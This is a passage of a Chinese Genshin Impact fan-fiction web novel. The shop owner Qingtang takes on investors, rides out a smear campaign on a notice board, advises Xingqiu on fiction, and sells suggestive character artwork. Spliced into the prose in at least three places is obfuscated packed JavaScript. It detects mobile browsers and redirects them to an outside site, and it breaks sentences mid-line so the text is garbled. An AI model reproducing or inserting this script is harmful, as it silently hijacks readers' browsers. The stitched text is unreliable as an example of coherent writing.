牙，暗忖这青老板果然精明，看上去没有直接让他割让利益，可条条框框都在为合欢馆造势，这其中的价值可不是那些蝇头小利能比的。 真是无奸不商啊。 不过跟聪明人做生意倒是省心不少，黄老板没多犹豫，当即满口答应道：“没问题。” “那么就签契约吧。”青棠坦然拿出纸笔，殊不知自己在黄老板眼里都快成天权星预备役了。 签完契约，青棠把黄老板送到门口，等他走远了一回头，才发现店里不知何时突然多了一个人。 这人弯着腰站在展示台前，鼻梁上架着朱红色的半框眼镜，一头苍青色的长发高高束起，整个人仙姿鹤骨，清逸出尘，衣袂间仿佛浮动着山巅云雾的冷香。 青棠一眼就认出来了，这是化成人形后的留云借风真君。 但她现在和帝君一样，捏造了一个凡人的身份居住在璃月港，青棠迎上去喊道：“闲云老师。” 听到这熟稔的语气，注视着展柜里小玩具的闲云直起身子，诧异地看过来：“我们见过？” “唔……”青棠沉吟片刻，“逐月节的厨王争霸赛，您做的……呃、电饭锅，让我印象很深刻。” 闲云瞬间皱起眉头：“什么电饭锅？那叫机关烹饪神机！” 说完，她忽然意识到不对，立刻往回找补道：“胡说什么！那是留云借风真君的发明，和我闲云有什么关系？！” 阿对对对，您开心就好。 青棠失笑，也不戳破这位傲娇仙人，转而问道：“您过来是有什么事吗？” “近日，我见到许多人神神秘秘地讨论着一种新型机关，还以为是什么威胁璃月港安危的武器，没想到是你这个巧舌如簧的小鬼做的玩具。” 闲云显然听到了青棠刚才和黄老板谈判的内容，她感慨道：“若是我的小徒弟也能有你这般伶俐，我就不用为她操心了……” 啊？青棠裂开了。 您的小徒弟，那不是手撕魔神跋掣、一只手扛起千斤重的浮空石、还被云堇唱进戏文《神女劈观》里的申鹤吗？ 劈观的神女跟人讨价还价，这像话吗？对方还没开口，就先被申鹤一掌给劈了吧？！ 青棠一言难尽地说道：“术业有专攻，大家各有所长……” “不错。”闲云赞同道，“我的两个徒弟都不擅长机关术。” 她拿起展台上的玩具，捏在手里把玩：“这机关是你设计的？” “嗯……”青棠看着她的操作，更加一言难尽地点头。 “呵，你倒是合我眼缘，难怪帝……钟离先生也跟我提起过你。” “啊。”青棠想起来了，帝君很早就说过，有空的时候想请闲云仙人过来坐坐。 她问道：“所以您是来找钟离先生的吗？” “不，我对你更感兴趣。”闲云放下玩具，饶有兴味地看过来，直白道，“你开个价吧。” 青棠：“…………？？！” 不是仙人，这也没人告诉过我，您是提瓦特女同啊？！ 11. 第 11 章 青棠当时就一屁股坐下了，虽然她是处处嗑的杂食党，但也没想到原神是一个巨大的同性恋啊！ 她薅过旁边的抱枕，护在胸前，谨慎地看着闲云：“我卖艺不卖身！就算你用触手把我绑在床上强制爱我也不会屈服的！” “什么触手？”或许她的表情太过宁死不屈了，说得像真的似的，闲云也被带跑偏了，跟着愣了愣。 半晌，她才反应过来，顿时恼怒道：“你想哪儿去了！本仙……我是那种人吗？我是想让你开个价，把机关图纸卖给我！” 留云借风真君活了几千年，估计也没遇到过这么尴尬的事，说着抱怨的话，脸却是红了。 “噢。”见她确实没那个意思，青棠松了口气，把抱枕放下了，又说，“那个也不卖。” “为何？”闲云疑惑道，“我可以出十倍的价格买断。” “因为这是我的商业机密。” 就算闲云把钱全给她，也不够她成为首富，没法让她回家啊。 现在生意刚起步，就卖掉核心图纸，且不说别人怎么看她，以及东山再起难度如何，就是对她自己的心气也是极大的打击。 但闲云很不理解：“我给你的钱，足以让你此生享尽荣华富贵……莫不是你想求仙？那我也——” “不，我只想做生意。”青棠打断她的话，“梦想怎么能用金钱来衡量呢？看到自己的发明帮助到更多的人，亲手收到一笔笔报酬，这种感觉——无与伦比！” 她目光坚定得像是要入党，一字一句铿锵有力，TED励志演讲人看了都要甘拜下风。 闲云被她的高昂情绪感染了，眼神越发欣赏地说道：“你果然与众不同，既然如此……” “既然如此，要不然您入股吧！”青棠立刻接话道。 “什么？”闲云愣住。 青棠等的就是这个问题，当即晓之以理动之以情地说道： “你想啊闲云老师，我的图纸是商业机密，绝对不可以透露给外人。但如果你成为股东的话，那你就是自己人了，想什么时候看就什么时候看，想怎么改就怎么改！” 闲云有些心动了，但还是问道：“买图纸也是花钱，入股也是花钱，有何区别？” “当然有区别了，你把图纸买回去，只是满足你的研发爱好，发明出来的东西还是得卖给别的店铺才能生产。但你入股的话——咱们自己就有店啊，你的发明马上就可以得到消费者的反馈，我来营销，你只要安心做科研就好！” 青棠的口吻活像设计院的大领导，画饼就像呼吸一样简单。 闲云果然眼眸一动，谁不想自己的发明创造能够造福世界呢？ 就在她还想再说点什么的时候，青棠给了她最后一击：“而且我还有好多想法不知道该怎么实现，以后我把需求和功能告诉你，你来做设计，怎么样？” 这可是个大诱惑啊，闲云身为仙人，既不缺钱也不在意浮名。 只是数千年来独自在洞府里搞发明难免寂寞，方才搬来了璃月港，想接触下这烟火人间。 现在有人拥有同样的爱好，能给她提供设计思路，还能跟她讨论机关构造和材料，甚至不需要她跟那些油滑的商人打交道，就可以看到自己的发明成果。 闲云几乎毫不犹豫地答应了。 青棠还不知道，自己已经被留云借风真君认定为忘年交了。 她薅起花瓶里新鲜的琉璃百合，激动道：“热烈欢迎我们的第二位股东兼设计总监！” 闲云接过花：“还有谁？” “北国银行的公子阁下。” 璃月的仙人和愚人众关系不太好，一开始青棠还有点紧张，担心闲云听了这话会反悔。 看到她面不改色接受良好的样子，青棠才暗自松了口气，继续介绍合欢馆的基本情况，包括市场定位、目标人群和设计理念等等。 谈到“悦己”这个核心概念的时候，闲云再次表现出了仙人的格局，不仅极力称赞了一番她的想法，还决定把投资金额翻一倍。 “我就知道请闲云老师你来准没错！”青棠开启夸夸模式，彩虹屁吹得空巢老人心花怒放。 “给我把璃月港最好的律师叫来，咱也是有股东罩着的人了！” …… 第二天，青棠起了个大早。 来到律所后，她指名道姓，想请烟绯来拟定股东协议。 虽然闲云没有表现出来，但青棠觉得她提起公子时，对方的眼神还是有点奇怪，说不上厌恶，更像在看来家里做客的熊孩子。 这熊孩子还把家里好生将养几千年的、水灵灵的白菜拱了。 这两人要是干起来，青棠是万万拉不住的，想来想去还是请烟绯来拟契约最放心了。 烟绯不仅是璃月港知名律师，而且还拥有仙兽的血脉，师承歌尘浪市真君，到时候就算她压不住闲云，还能请她师父出山。 可惜青棠来得不巧，接待人员告诉她今日烟绯休假，请她留下地址，等烟绯回来了再联系她。 青棠无功而返，回程的路走到一半，老远就看见吃虎岩公告板的方向乌泱泱地挤了一大群人。 “这就是传说中的高端商战吗？真恶毒，还人身攻击呢！” “本来不感兴趣的，现在我都有点怜爱了，这是哪家店啊？” “希望被骂的那位人没事。” 讨论的声音时不时地从人群里传出来，又吸引更多的人驻足。 按照璃月官方的说法，这公告板本来是用来发布街区新闻和店铺广告的，不得擅自贴条。 但实际上，这板子就立在街心小池塘的旁边，来往必经之路，狗路过都能跳起来摁个爪印。 谁想偷偷摸摸地往上面贴条子，千岩军想拦也拦不住，所以经常有人用公告板匿名扯皮，甚至还有悄悄贴情书告白的。 今天这么多人围着，肯定是出了什么惊天大瓜。 青棠刚听了一耳朵他们的讨论，八卦之心就蠢蠢欲动了，立刻到旁边的小吃摊买了一包瓜子，一边磕着一边往人群里挪。 刚走出两步，迎面跑来一个人，“哗啦”一声，瓜子洒了一地。 青棠差点被撞倒，抬起头正想骂人，看清来人的容貌，倏地愣住了：“小张？你怎么跑出来了？” 合欢馆没有其他员工，所有事情都是青棠亲力亲为，今天她要出门请律师，就提前找工头租了个人，请他帮忙看半天店。 这会儿见看店的小张出现在外边，还一脸慌乱的表情，青棠心中一沉：“发生什么事了？” “青老板，您快回去看看吧！”小张都快急哭了，“来了好几个千岩军，说是要找您呢！” 怎么又是千岩军？ 此时此刻，青棠真想大喊晦气，新鲜的瓜也吃不上了，连忙抱着瓜子，跟着小张回去。 回到店里，嚯，一句“How old are you”差点脱口而出。 “弘毅队长，这次又是什么事啊？”青棠看着面前一丝不苟的千岩军，无奈地指了指柜台边的经营许可证，“我证件都办齐了啊！” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438489|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是证件问题。”弘毅眉心紧皱，没有多解释，“请跟我来。” “啊？”青棠一愣，懵逼地跟在他身后，刚走出十几米就发现不对了，“这不是去吃虎岩的路吗？我刚刚就是从这边回来的呀。” 她都看到公告板面前攒动的人头了，比刚才又多了好几倍。 弘毅给守在这里的千岩军打了个手势，几人立刻上前疏散群众。 围观人群见到千岩军来了，也自觉地让出一条道，青棠走在中间，听到旁边有人嘀嘀咕咕：“欸，这不就是合欢馆的老板吗？” “什么情况啊？”青棠莫名其妙。 “您自己看吧。”弘毅敲了敲公告板，示意她看上面的纸条。 青棠抬眼望去，发现这上头层层叠叠贴满了便签，笔迹五花八门，一看就不是官方公告。 [没人觉得往生堂旁边那家店很伤风败俗吗？我都不好意思说，千岩军就不管管吗？] [附议，这种店铺都不查封，真是世风日下，我忍不住开始怀疑璃月七星的立场了，你们这样对得起仙逝的帝君吗？] [我敢说这家店铺背后肯定有人，不从这家进货的药庐都快被踢出医馆联盟了，不是有大人物撑腰，那老板敢这么嚣张？] [某位七星洗钱的工具罢了，再多了不敢说，你们自己悟吧。] 好家伙，搞了半天，原来刚才没吃上的是自己的瓜啊！ 青棠都要气笑了。 我怎么就对不起帝君了？我这店名还是帝君想的呢！我的情趣睡衣马上就要给帝君…… “咳。”青棠捏住第一张纸，扭过头问弘毅，“这人攻击你们啊，千岩军就不管管吗？” “这……”弘毅显然没想到，她被造谣后的第一反应居然不是维护自己的名声，而是为千岩军正名。 他家风守旧，之前巡查时又被青棠捉弄了一下，原本对合欢馆的作风也颇有微词，现在听到这么一句话，内心倒是有些感动了。 他为难地说道：“这应该是昨晚贴的，夜里巡逻的兄弟都没发现。一夜之间忽然冒出这么多，是有预谋有组织的诽谤。” “所以我们想问问您，最近有没有得罪什么人。” 青棠气了一会儿，很快就冷静了下来，听到他这样问，沉吟片刻，给出结论：“那太多了。” “太……多了？”弘毅的表情有些裂开，这小姑娘瞧着温文尔雅的，干了什么伤天害理的事啊？ “你看这张纸条，很明显是某家小药庐写的吧，不想在我这里进货，又眼红别家药庐的收益。” “还有这张，一看就是卖玩具的同行。至于这张，应该是早就对璃月七星有所不满的人吧……” “这些人都算是我''得罪''的，因为我动了他们的蛋糕，所以他们就像蟑螂一样爬出来了。” 青棠的分析有理有据，弘毅肃然起敬，真是人不可貌相。 他抱歉地鞠了一躬：“实在不好意思，我们会加强夜间的巡逻，这些纸条也会处理干净……” “那怎么行！”青棠打断他。 不仅不能处理，还要加大力度啊！她都恨不得写几条黑自己的阴谋论，当场贴上去了！ 越是禁忌，就越有吸引力，更何况还蹭上了璃月七星的流量！ 看看周围的人，根本没有被这些言论带节奏，反而还有不少人对合欢馆表现出了浓厚的兴趣。 这不就是免费的广告么？ 笑话，她可是资深米游玩家，深谙米式运营的精髓—— 黑红也是红！ 12. 第 12 章 虽然青棠极力劝阻，但弘毅还是以妨碍公务为由，命令千岩军把那些纸条全部撕下来了。 然而，事实证明他还是太年轻，低估了广大民众吃瓜的热情。 原本呢，如果这些纸条不撤的话，那么大家也就是路过的时候看个乐子，跟风讨论几天，等热度下去就没人在意了。 但现在千岩军表现得如此讳莫如深，落在看热闹的人眼里，那就是妥妥的心虚行为啊！ 恰恰坐实了那些阴谋论，让人不得不怀疑，璃月七星私下里是不是真有什么不可告人的交易。 就这样，八卦以千岩军始料未及的速度在璃月港传播开了。 连不问世事的萍姥姥——也就是歌尘浪市真君，都听说了合欢馆和璃月七星关系匪浅。 又听到烟绯说闲云也在这里头掺和，还明里暗里地提醒她小心被人卖了还帮人数钱。 闲云：“……” 我只是找了一个做研究搞发明一条龙的清静之所，怎么就要被发卖成两块禽肉了？ 出于好奇的心态，越来越多的人来到合欢馆参观，其中不乏一些龙头商铺的老板。 他们就是想来看一眼，这位传说中“能在七星面前说上话”的青老板，到底是何方神圣。 结果，璃月七星的情报和动向一点没套出来，离开时倒是每个人都被忽悠着买了一大堆小玩具。 而另一部分受到影响的，则是早就在合欢馆消费过的人。 他们气得要命，就算这家店背后有璃月七星站台又怎么样呢？推出了这种无敌好用的玩具，不正是七星在为大家谋福利吗？ 现在合欢馆和青老板居然被如此诋毁，简直就是无妄之灾，到底是谁心里有鬼啊？ 于是，就在第二批贴条出现之后，这些愤怒的消费者们奋起反击，直接在公告板开骂了。 [还拿帝君出来说事，是想显摆你很懂吗？有没有可能，帝君以前每年都会扶持小众产业？] [这么多大商家联名抵制一个小店铺，不是霸凌是什么？] [这个XX药庐认真的吗？昨天在铺子里以次充好卖劣质套，刚被人曝光，今天就带头打压合欢馆，先治治自己的红眼病吧！] [合欢馆的小玩具，帝君试过了都包说好用的！] 千岩军：“……” 一时间不知道谁在抹黑了。 那些暗地里作祟的人更是吐血了，这和想象中完全不同啊！ 不仅没有挑起消费者的抵触情绪，反而引火烧身，搞得自己家店铺被避雷，人人喊打了。 这场风波持续了两个星期，捕风捉影的猜测层出不穷。 身处风暴中心的合欢馆倒是稳如泰山，一点眼神也没分给那些跳梁小丑，不声不响地发大财。 小玩具销量大增，前期投入的成本全赚了回来，甚至多出了部分经费，被青棠拿来装修店铺了。 之所以这么快就要重新装修，是因为托这场炒作的福，合欢馆拥有了自己的回头客。 虽然小玩具质量过硬很耐用，短时间内没有重复购买的需求，但架不住合欢馆环境好啊。 舒缓的熏香、柔软的沙发、私密的灯光氛围，还恰好就在绯云坡的尽头，小姐妹逛街逛累了，到这里歇歇脚，简直就是美滋滋。 来得最多的就是思思了，她现在已经是合欢馆的忠实粉丝了。 比起第一次来时神思不属的样子，她如今的气色真是判若两人，说话也中气十足： “我发现那个渣男的心思根本不在我身上，这样的男朋友还不如我自己快乐，我已经跟他分手了！” “Nice！欢迎回到阳间！”青棠发自内心地为她高兴，招呼道，“快坐吧，我给你们拿喝的。” 就是因为最近光顾的人越来越多，不止是买东西，还有不少人单纯想在休息区放松放松，于是青棠索性建了个吧台，除了椰奶，酒水和茶饮也提上了菜单。 想起以前跟舍友开玩笑“大学你不卷成渣，毕业隔壁摇奶茶”，现在也是换了个世界实现了。 她把饮料送到休息区，思思和小姐妹正聊到兴头上，忽然扭过头问道：“青老板，你这个空着的展台是为新玩具准备的吗？” 那语气期待得不行。 青棠看了一眼她指着的柜子，这是当初买家具的时候，她觉得很有设计感就顺手买了。 不过可不是用来放玩具的。 “这个啊，我打算放点联名商品什么的。”青棠说，“你提醒我了，是该整点正面营销了。” 说起营销，青棠第一时间想到的就是自己的老本行—— 画画嘛，最容易出圈了！ 找个生意清闲的日子，提前请闲云老师过来看店，青棠自己晃悠着去了万文集舍。 璃月人的口味肯定和现代人不同，她得先了解消费者市场，找到热点题材，才好发挥啊！ 万文集舍位于绯云坡的廊桥之上，整整占了一层楼，水墨屏风前面摆着一个宽大的书摊。 书摊的书类型繁杂，数量最多的是璃月风物志和志怪传说。 青棠蹲在旁边观察了半天，发现销量最好的书是武侠小说，以及岩王帝君相关的杂谈。 万文集舍的老板纪芳瞪着眼睛看过来：“我说你是来看书还是看店的，到底买不买啊？” “买、买肯定是买的……”青棠不好意思地摸摸鼻子，随便拿起一本书，准备糊弄一下。 旁边忽然有人出声：“这位小姐仔细采选，想必也是爱书之人，纪老板何必咄咄逼人。” 这嗓音……青棠倏地扭过头，果然看到一个身穿靛青色短袍、面容瓷白如玉的少年。 “行秋！”青棠眼神一亮，这不是六星战神秋秋人嘛！ “嗯？”少年一身书卷气，侧眸时额前的呆毛一翘，表情略显困惑：“小姐认识在下？” 啊，又要编理由了呢。 青棠想了想，随即信手拈来：“胡桃跟我提起过你！” “原来是胡堂主的朋友。”行秋恍然，“那么该如何称呼呢？” “喊我青棠就行。” “哦？”行秋惊讶挑眉，“竟然是最近名动璃月的青老板吗？” 青棠：“？” 这是否有些许夸张了？ 简直就像走在路上，突然有人叫住你询问——请问你就是蒙德荣誉骑士、南十字荣誉船员、剑鱼二番队队长、最初的贤者、枫丹科学院荣誉高级研究员吗？ “还、还好吧……”青棠干笑道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438490|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好在行秋善解人意，没有继续调侃，而是把话题引了回去：“青老板是想买书吗？不嫌弃的话，我可以给你推荐。” “好啊！”青棠立刻答应了，要知道行秋可是文学大家，笔名“枕玉”在稻妻拥有相当数量的粉丝，看文的眼光肯定是顶尖的。 她开始提要求：“我想要那种情节跌宕起伏、人物丰满立体、同人热度咔咔爆炸的小说！” “那你可就问对人了。”行秋抽出一本紫色封面的小说，“这本《神霄折戟录》近日登顶畅销榜首，我们书友会人手一本。” 青棠翻了两页，一眼就看出这是一本武侠爽文。 就是主角的名字不像璃月本地人，再看到飘着樱花的封面，应该是稻妻传过来再本土化的小说。 行秋又抽出一本：“还有这本《荒山孤剑录》，语言凝练，意境深远，韵味悠长，在我们书友会内部也是广受好评。” 青棠翻开浅蓝色的封皮，刚看到第一行文字，一股缥缈潇洒的古龙气息就扑面而来。 不愧是我大璃月，对武侠小说的喜爱就是刻在DNA里的。 宣传海报要画什么题材，青棠心里已经大致有了判断。 这时，行秋又抽出另一本书：“这本《沉秋拾剑录》，虽然不如前两本，但也很值得一看……” 青棠：“？？？” 你小子夹带私货是吧？ 就算青棠不是原学家，但也清楚地记得，《沉秋拾剑录》就是行秋用“枕玉”这个笔名写的。 行秋没察觉到她欲言又止的表情，继续说道：“可惜不知道这位枕玉老师差在哪里，以至于在璃月，这本书完全卖不出去……” 好嘛，原来你小子在这蹲点，也是来做市场调研的啊！ 青棠顿时不忍心拒绝他了：“我来看看怎么个事儿！” 她拿起书翻了两页，眉头倏地一皱，然后不信邪地又往后翻了两页，眉头越皱越深。 翻到第五页的时候，她“啪”地一声合上书，认真研究了一下书名——沉秋拾剑录，没错啊？ 青棠纳闷道：“这是正版吗？” 该不会是什么换头盗版书吧？ “是啊。”看她神情严肃，行秋有点紧张，“有什么问题吗？” “不是，你一本科幻小说，为什么要取武侠小说的标题啊？” 你这跟在花市写纯爱有什么区别？把读者骗进来杀啊？！ “而且你这个设定太硬核了，作为读者，确实看不下去啊。” 光是这些动不动就长达六七个字的外国人名，就看得人头晕。 真是先天超绝冷题材圣体！ “那……依青老板之见，应当如何修改呢？”行秋虚心求教。 青棠清咳一声：“既然你诚心诚意地发问了，那我就发表一些我阅文十年的暴论……不是，拙见。” 行秋做出洗耳恭听的姿势。 青棠：“写小说，写的就是马斯洛需求理论，首先你就要满足读者最底层的生理需求。” “可以再具体些吗？”行秋面露疑惑，“何为生理需求？” 青棠看他一眼，紧接着把书往桌上一拍，豪气万丈地说道： “就是擦边！狠狠地擦边！” 13. 第 13 章 行秋感觉自己路遇土匪，一脚踹开了新世界的大门。 从来没有想过，小说的剧情还能这样展开，这真是…… 太刺激了！ 行秋还怕自己的理解不够深刻，越发谦虚地说道：“青棠老师，可否举些具体的例子？” 都喊上老师了，青棠当然是义不容辞，倾囊相授。 “比如，我现在正准备出本漫画。”青棠在书摊上扒拉两下，一手拿起销冠《神霄折戟录》，一手拿起销亚《帝君尘游记》。 “已知在璃月，最受欢迎的题材是武侠，人气最高的角色是岩王帝君，再结合我说的生理需求，那么如何蹭上这三个热点呢？” 行秋稍作思索：“嗯、青棠老师是想画……帝君在武侠世界降龙伏虎，最终抱得美人归的故事？” “错！”青棠猛地将两本题材迥异的书拍到一起，随着一声清脆的“啪”，她掷地有声地说道，“我要画武侠Paro帝君抹布漫！” 行秋：“？？？” 这些词好像每个都认识，怎么连起来就听不懂了呢？ 行秋挠了挠后脑勺，茫然地望向青棠身后：“钟离先生见多识广，可知为何抹布漫？” “钟、钟离先生……？！！” 青棠心脏骤停，慌慌张张地扔回两本书，却失手打翻了书摊，小山似的书籍顿时散落一地。 “砰”的一声，那本被用作教材的《帝君尘游记》落在一双一尘不染的皮鞋旁边，然后被一只素白的手捏住书脊，缓慢拾起。 青棠心惊胆战地回过头，就见到一双鎏金的眼眸垂下来，沉沉地看了她一会儿，随后无奈地叹了口气：“……略感疲惫。” “喂！你们这群小鬼！” 就在这时，被这边的动静惊扰到的纪芳冲了过来，看到一地狼藉，简直气得跳脚：“不看又不买，还把书摊弄得一团糟——行秋，你又偷偷往我这里塞书！” 她捡起那本并不属于万文集舍的《沉秋拾剑录》，以刀子似的眼神指责他暗度陈仓的行为。 “嘿嘿。”行秋不好意思地笑了笑，“抱歉啦，我这就收拾。” 青棠更是有种被抓包的心虚，顶着帝君极有压迫感的目光，把弄乱的书一本本捡起来。 帝君这种体面人，应该不懂这些新潮的涩涩概念吧？ 退一万步说，站在钟离的角度，又不知道她有剧情挂，也不知道公子喝酒说漏嘴的事。 在她这里，岩王帝君和钟离就是两个人，她给摩拉克斯搞二创，应该跟钟离没关系……吧？ 话虽如此，青棠还是有点怵。捡完书，她蹭到钟离身边，一双杏眼飘忽闪躲，支支吾吾地说：“那个、钟离先生……对不起啊。” 道歉还没说完，却见钟离把那本《帝君尘游记》放回了书摊。 脸上的表情几番欲言又止，最后还是开口道：“我化为人形时，并未保留龙族的习性，包括……各个方面，小友不必纠结。” 青棠：“………？！！” 一道晴天霹雳砸得青棠石化在原地，好半晌，她才结结巴巴地说道：“原、原来那天您都听到了啊？哈哈……您看这事闹得！” 岩王爷保佑，她居然还能活到现在，真是提瓦特奇迹。 “无妨。”钟离摇头道，“虽与小友相识的时日不多，但我能感觉到……你是值得信任之人。” 这话说得青棠更愧疚了，她刚才还想着画帝君的小黄漫赚钱呢，结果人家本尊这么大气，一点也没有怪罪她的意思。 那就改画愚人众好了（？）——冰之女皇的XP，令人安心！ 想起愚人众，青棠的好奇心又蠢蠢欲动了，眼看四下无人，她把手拢在嘴边，压低嗓音：“帝君，我能问个问题吗？” 钟离看着她：“我不能为你凭空生造摩拉，这有违璃月律法。” “不是这个……”青棠尴尬了，她在帝君心里到底是个什么形象啊？掉进钱眼里的小财迷吗？ 小财迷摸了摸鼻子：“我就是想问，您和公子究竟发生了什么事？是因为那啥吗……” 摩拉可以少赚点，但她的CP必须要甜甜蜜蜜啊—— “那次……”钟离沉吟片刻，忆起缠绵的画面，似乎有些忧虑，“最后的时候，公子阁下问我，凡人是否有不老不死之法。” “啊？”青棠震惊地瞪大眼睛。 这给我干哪来了？这还是提瓦特吗？愚人众执行官摇身一变，真实身份竟是丰饶令使？！ “为什么？”青棠脱口而出。 钟离没有回答，双唇轻轻抿了一下，薄薄的眼皮垂落，金眸中流露出一丝微不可察的自责。 青棠倏地闭嘴，仿佛有一道灵光忽然劈开了天灵盖，一条线串联起了所有的线索。 一瞬间，她醍醐灌顶。 还能因为什么？因为爱啊。 因为爱你，所以想陪你走过漫长岁月，不想让你踽踽独行。 而钟离呢，也是因为爱，所以不忍心让公子经历磨损。 真是无解的难题。 …… 回到合欢馆，青棠匆匆准备了一些颜料，隔天就请闲云过来驻店，她自己则进了画室闭关。 三天后，时尚风尚之愚人众执行官的情趣睡衣专题新鲜出炉。 发型和配饰结合了璃月最热门的武侠元素，服装尺度则卡在恰好能过审的程度，俊男靓女身材姣好，流浪剑客卡皮塔诺、多情浪子潘塔罗涅、魅惑妖女罗莎琳…… 还有束着高马尾，挽弓搭箭，满脸少年意气的达达利亚。 出于对大股东的尊重，青棠还免费赠送了一张帝君的涩图。 人身龙尾，慵懒地斜倚在榻上，身穿店里最贵的那套衣服，面上潮红未褪，眼含一汪春水。 只不过这一张，还有他自己那一张，都是达达利亚特供版。 “嗨嗨嗨。”青棠伸出手，在某人面前晃了晃，“眼睛都看直了。” 达达利亚艰难地从画稿上撕开目光，不自觉地咽了咽口水：“这套衣服我买了。” “没问题。”青棠就等着他说这句话呢，立刻掰起手指头算道，“这套衣服用的都是真宝石，料子也是我亲自挑的，设计费给你免了，再打个八折——十万摩拉！” 达达利亚刚皱了下眉头，青棠又掏出一个大纸袋，相当有服务意识地说：“喏，还有你上次挑的那套，尺寸给你改好了。” 再搭配露出八颗牙齿的微笑，周到又体贴，10W摩拉不亏的。 “好吧。”达达利亚被逗笑了，“伙伴，你是天生的商人。” “过奖了。”青棠保持着八风不动的笑容，心想这还不是生活所迫，给我这个i人都整变态了。 “对了，还有件事跟你说。” 看达达利亚这么爽快，青棠索性把前几天钟离的话复述了一遍。 三言两语间，达达利亚也想起了那日情浓之时，钟离的情绪就有些不对，只是体力透支，脸颊又被鳞片覆盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438491|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大半，于是咬着唇没出声，以至于他没能及时察觉。 “喂喂喂，你在听吗？”一道急切的声音把他拉回现实。 青棠忧心忡忡地看着他：“我跟你说，这个问题真的很严肃。” “长生其实是诅咒，普通人承受不了那个代价的，就算是神明之躯也会被岁月磨损。” 长生是诅咒。达达利亚忽然想起，钟离也说过类似的话。 “好啦。”他扯动嘴角笑了笑，“我只是怕他忘了我。” 凡人和神明的寿命差距太大了，钟离是他生命里的全部，他却只是钟离生命里的过客。 说这话时，他的神情难免有些低落，如果真有狐狸耳朵，此时肯定蔫蔫地耷拉着。 “这好办啊！”青棠一手握拳，锤向另一手的掌心，“那你就给他一段烧成灰都忘不掉的回忆，一想起你他就能垂死病中惊坐起！” 达达利亚将信将疑地听完她的计划：“……这能行吗？” 青棠从纸袋里取出项圈，往他脖子上比划了两下，自信满满地说道：“包的，兄弟。” …… 在北国银行的资金支持下，愚人众执行官的时尚风尚刊印了。 璃月港内顿时掀起了讨论的热潮。原本呢，愚人众强势的外交政策在其他六国恶名远扬，大家对他们都有点仇视的态度。 但正因如此，被捆绑的仇人、战损版的仇人、不好好穿衣服的仇人……就格外的香了起来。 试问，谁不想买一套死对头的把柄，放在家里细品呢？ 于是，这画本一面世就销售一空，连带着合欢馆的业绩也暴涨。 街头巷尾打招呼的方式，更是从“你吃了吗”变成“你买了吗”，再到“唉手速慢了没抢到啊”。 不到两个星期，北国银行就开始筹备再版和加印了。 万文集舍门口排起了长队，纪芳老板满脸无奈，一遍遍地解释：“没货了，要不看看别的吧”。 然而，无论是小说传奇，还是考据典籍，销量统统被来自愚人众的涩涩重拳锤到了谷底。 这样一来，那些老学究登时就坐不住了，你合欢馆抢药庐的生意也就罢了，怎么还敢把手伸到文化领域里来的啊？ 公告板的战斗卷土重来。 这次甚至不分白天黑夜，当着千岩军的面，就有人敢拿着笔涂涂画画，五颜六色的纸条一层叠一层，差点把薄薄的木板压垮。 [证据确凿！合欢馆就是至冬国安插在璃月港的间谍！] [不知廉耻！身为璃月人，居然做愚人众的走狗，我呸！] [大家不要被愚人众的怀柔政策给骗了，警惕文化入侵！] [楼上在说些什么？那个XX专家，上次不是你分析出来，合欢馆背后是璃月七星的吗？] [对啊，谁会卖自己弱小可怜又无助的画本啊？我看这画本是璃月七星出的才对吧？！] [到底是谁想控制别人的大脑啊？你们这些阴谋论专家，下一步是不是就该说，璃月七星早就和愚人众同流合污，害死帝君了？] 唇枪舌剑你来我往，小小一方公告板，承受了生命难以承受之重，终于在一个下着雨的清晨，嘎嘣一声，轰然殉职了。 双方辩手的战争俨然进入了白热化阶段，现在纸条贴不成了，就站在公告板的废墟前面，互相指着对方的鼻子对骂。 就在真相扑朔迷离、流言蜚语沸沸扬扬的时候—— 群玉阁出手了。 14.第 14 章 细雨如酥，在绯云坡尽头的青石砖间汇聚成一汪水洼，模糊印出一方墨蓝色的人影。 下一秒，绑着丝带的高跟鞋咔哒落下，踏碎一池涟漪。 一个娉婷的身影从月海亭走来，步履轻盈。油纸伞斜斜地撑着，冰蓝色的长发盘在脑后，麒麟角边的流苏随着步伐轻轻摇晃。 少顷，她停驻在长街尽头，伞沿微抬，露出蒙着雾气的眼睛。 一瞬间，公告板前扔鸡蛋扔菜叶的人全都安静了。 没有人会认错，这位拥有麒麟血脉的半仙，就是千百年来坐镇月海亭的七星秘书——甘雨。 只见甘雨在绯云坡与吃虎岩交叉的路口停顿了一秒，远远朝着鸡飞狗跳的人群投来一眼，然后就转过身，径直走向了合欢馆的方向。 就像是按下了继续播放的按键，凝滞的画面忽然又动了起来，方才还水火不容的两拨人面面相觑。 “什么情况？？？” 